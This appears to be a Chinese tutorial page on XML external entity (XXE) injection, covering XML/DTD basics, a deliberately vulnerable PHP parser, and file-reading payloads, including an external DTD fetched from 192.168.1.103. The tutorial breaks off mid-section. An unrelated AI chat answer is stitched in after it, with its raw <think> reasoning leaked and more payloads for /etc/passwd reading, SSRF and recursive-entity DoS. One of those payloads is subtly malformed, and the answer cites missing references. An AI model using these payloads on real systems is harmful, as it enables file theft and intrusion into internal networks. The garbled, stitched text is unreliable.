第八章-XXE漏洞

第一节 XML快速入门

1.1 XML介绍及用途

XML 被设计用来传输和存储数据。XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。XML 允许创作者定义自己的标签和自己的文档结构。

<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

1.2 XML语法规则

1、所有的 XML 元素都必须有一个关闭标签

2、XML 标签对大小写敏感

3、XML 必须正确嵌套

4、XML 属性值必须加引号

5、实体引用

6、在 XML 中,空格会被保留

1.3 XML元素介绍

XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。

每个元素又可以有对应的属性。XML 属性必须加引号

注意:

​ XML 文档必须有一个根元素

​ XML元素都必须有一个关闭标签

​ XML 标签对大小写敏感

​ XML 元素必须被正确的嵌套

​ XML 属性值必须加引号

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

1.4 XML DTD介绍

拥有正确语法的 XML 被称为"形式良好"的 XML。通过 DTD 验证的XML是"合法"的 XML。

<?xml version="1.0" ?> 
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
<to>Tove</to> 
<from>Jani</from> 
<heading>Reminder</heading> 
<message>Don't forget me this weekend!</message> 
</note>

第二节 DTD快速入门

2.1 DTD声明类型

内部的 DOCTYPE 声明:

<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>
note.dtd
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

2.2 DTD数据类型

PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

2.3 DTD实体介绍

实体是用于定义引用普通文本或特殊字符的快捷方式的变量

内部实体:

<!ENTITY entity-name "entity-value">

外部实体:

<!ENTITY entity-name SYSTEM "URI/URL">

2.4 XML注入产生原因

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

第三节 简单XXE漏洞代码编写

3.1 file_get_content函数介绍

file_get_contents() 函数把整个文件读入一个字符串中。

3.2 php://input介绍

php://input 是个可以访问请求的原始数据的只读流。

结合file_get_contents(“php://input”)可以读取POST提交的数据。

案例说明:输出POST提交的内容。

3.3 simplexml_load_string函数介绍

php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement

例如:
$note=<<<XML<note>     <to>Tove</to>     <from>Jani</from>     <heading>Reminder</heading>     <body>Don't forget me this weekend!</body></note>XML;

$xml=simplexml_load_string($note);
print_r($xml);

3.4 XML注入回显 输出函数

在PHP中可以使用 print_r() 、echo 输出想要输出的内容。

给出完整存在XXE漏洞代码:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>
读取本地文件Payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<root>
<name>&xxe;</name>
</root>

第四节 XXE漏洞简单利用-任意文件读取

4.1 测试代码介绍

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>

4.2 php中测试POC

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

4.3 读取文本文档

Payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/flag.txt" >]>
<value>&xxe;</value>

4.4 读取PHP文件

直接利用file协议读取PHP文件会出现错误,那么需要使用base64编码来进行读取。
Payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=test.php
" >]>
<value>&xxe;</value>

第五节 XXE漏洞利用-任意文件读取

5.1 环境搭建

直接在VM中新建虚拟机,加载iso镜像即可。 默认用户名和密码 都是 pentestlab

下载地址:https://isos.pentesterlab.com/play_xxe.iso

5.2 测试原理

5.3 请求XML

<?xml version="1.0"?>

<!DOCTYPE foo SYSTEM "http://192.168.1.103/test.dtd">

<foo>&e1;</foo>

5.4 服务器DTD

使用gedit将test.dtd中内容设置为下图的文件内容。

使用wireshark 抓取http包查看信息。

<think> 首先,用户的问题是关于XXEXML外部实体注入)的有效负载。他们参考了三个引用,这些引用提供了关于XXE漏洞的基本信息。 回顾引用: - [^1]: 解释了XXE是什么,它是一个Web安全漏洞,允许攻击者干扰XML数据处理,查看文件系统,并与后端系统交互。 - [^2]: 讨论了如何寻找利用XXE漏洞,强调了在解析XML数据的应用程序中寻找漏洞,特别是当解析的XML数据在HTTP响应中可见时。 - [^3]: 提供了一个HTTP请求示例,似乎是引发错误的POST请求,但没有详细说明有效负载。 用户说:“上述引用仅供参考,并不是用户真正的需求,请尽可能多的参考用户上一次的问题你的回答。” 但这是用户的第一条消息,没有上一次的问题。所以,我应该直接回答当前问题。 用户的核心需求是:“我想查找XXEXML外部实体注入)的有效负载”。意思是他们想知道常见的XXE有效负载(payloads),即用于检测或利用XXE漏洞XML代码片段。 我的回答需要遵循系统指令: - 使用中文回答。 - 生成相关问题。 - 回答的结构清晰,帮助用户逐步解决问题。 - 行内数学表达式用$...$,独立公式用$$...$$(但这里可能不常用到数学表达式)。 - 在引用末尾添加引用标识,如[^1]。 由于用户提供了引用,我应该基于这些引用整合信息,并结合我的知识提供XXE有效负载的例子。 常见的XXE有效负载: - 读取文件:例如,使用外部实体读取系统文件。 - SSRF(服务器端请求伪造):通过XXE使服务器向内部网络发送请求。 - 拒绝服务:使用递归实体膨胀攻击。 - 外部实体注入测试负载。 步骤构建回答: 1. **介绍XXE有效负载**:简要说明什么是XXE有效负载。 2. **提供示例有效负载**:给出几种常见的有效负载类型具体例子。 3. **解释如何使用**:简要说明如何测试这些有效负载(基于引用[^2])。 4. **注意事项**:提醒安全测试的合法性。 5. **生成相关问题**:在结尾添加相关问题。 确保回答可靠:基于我的知识提供的引用。 引用处理:用户提供了[^1]、[^2]、[^3],所以在回答中自然地引用它们。 最终回答结构: - 开头回答用户问题。 - 列出有效负载示例。 - 结束部分添加相关问题。 </think> ### XXEXML外部实体注入)有效负载介绍 XML外部实体注入(XXE)是一种常见的Web安全漏洞,攻击者通过构造恶意XML数据来利用应用程序对XML的处理漏洞。有效负载(payload)是指用于测试或利用XXE的特定XML代码片段。据引用[^2],XXE测试通常涉及应用程序中接受XML输入的功能(如API端点或表单提交)。有效负载的设计取决于漏洞场景:例如,当解析的XML数据在HTTP响应中可见时(案例1),攻击者可以通过注入外部实体读取文件或触发服务端请求[^2]。 以下我将列出几种典型的XXE有效负载示例,基于常见利用场景。这些负载用于模拟攻击,但在实际渗透测试中,请确保在授权范围内操作,以避免法律风险。所有示例均采用XML格式,您可以直接粘贴到HTTP请求体中测试(如引用[^3]中的POST请求示例)。 ### 常见XXE有效负载类型及示例 #### 1. **文件读取有效负载** 这是最常见的XXE利用方式,用于读取服务器本地文件(如系统敏感文件)。引用[^1]提到,XXE允许攻击者“查看应用程序服务器文件系统上的文件”。以下负载尝试读取`/etc/passwd`(Linux)或`C:\Windows\win.ini`(Windows): ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> ``` - **解释**:`<!ENTITY xxe SYSTEM "file:///etc/passwd">` 定义了一个外部实体`xxe`,指向目标文件。`&xxe;` 在响应中显示文件内容。 - **测试建议**:发送到接受XML的端点(如引用[^3]中的POST请求),如果服务器返回文件内容,则存在漏洞[^2]。 #### 2. **服务器端请求伪造(SSRF)有效负载** 此负载用于使服务器向内部或外部系统发送请求,从而探测内部网络或与后端服务交互(引用[^1]提到“与后端或外部系统进行交互”)。例如,尝试访问内部HTTP服务: ```xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://internal-server.local"> %xxe; ]> <root/> ``` - **解释**:`%xxe;` 使用参数实体触发HTTP请求。如果服务器响应延迟或返回错误,可能表示请求成功。 - **扩展示例**:探测本地端口(如`http://localhost:8080`),这常用于识别内部服务。 #### 3. **拒绝服务(DoS)有效负载** 某些XXE负载可能导致服务器资源耗尽(递归实体膨胀攻击),用于测试系统稳定性: ```xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % a "a"> <!ENTITY % b "&a;&a;&a;&a;&a;"> <!ENTITY % c "&b;&b;&b;&b;&b;"> ]> <root>&c;</root> ``` - **解释**:实体递归膨胀会消耗大量内存,可能导致服务崩溃。但此负载风险较高,测试时需谨慎[^1]。 #### 4. **基本检测有效负载** 用于初步确认XXE漏洞是否存在(尤其当响应不可见时)。例如,触发错误信息: ```xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///nonexistent"> ]> <root>&xxe;</root> ``` - **解释**:引用不存在的文件可能引发特定错误(如500 Internal Server Error),帮助识别漏洞(类似引用[^3]中的错误场景)[^2]。 ### 使用XXE有效负载的注意事项 - **测试方法**:使用工具如Burp Suite或Postman发送XML请求。引用[^3]演示了POST请求格式:确保`Content-Type: application/xml`,并将负载放入请求体。 - **安全性**:仅用于授权测试。非法使用可能导致严重后果。 - **防御建议**:禁用外部实体解析(如PHP中的`libxml_disable_entity_loader(true)`)或使用XML解析器的安全配置[^1]。 如果您提供更多细节(如目标应用程序的响应行为),我可以帮助分析定制化负载。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值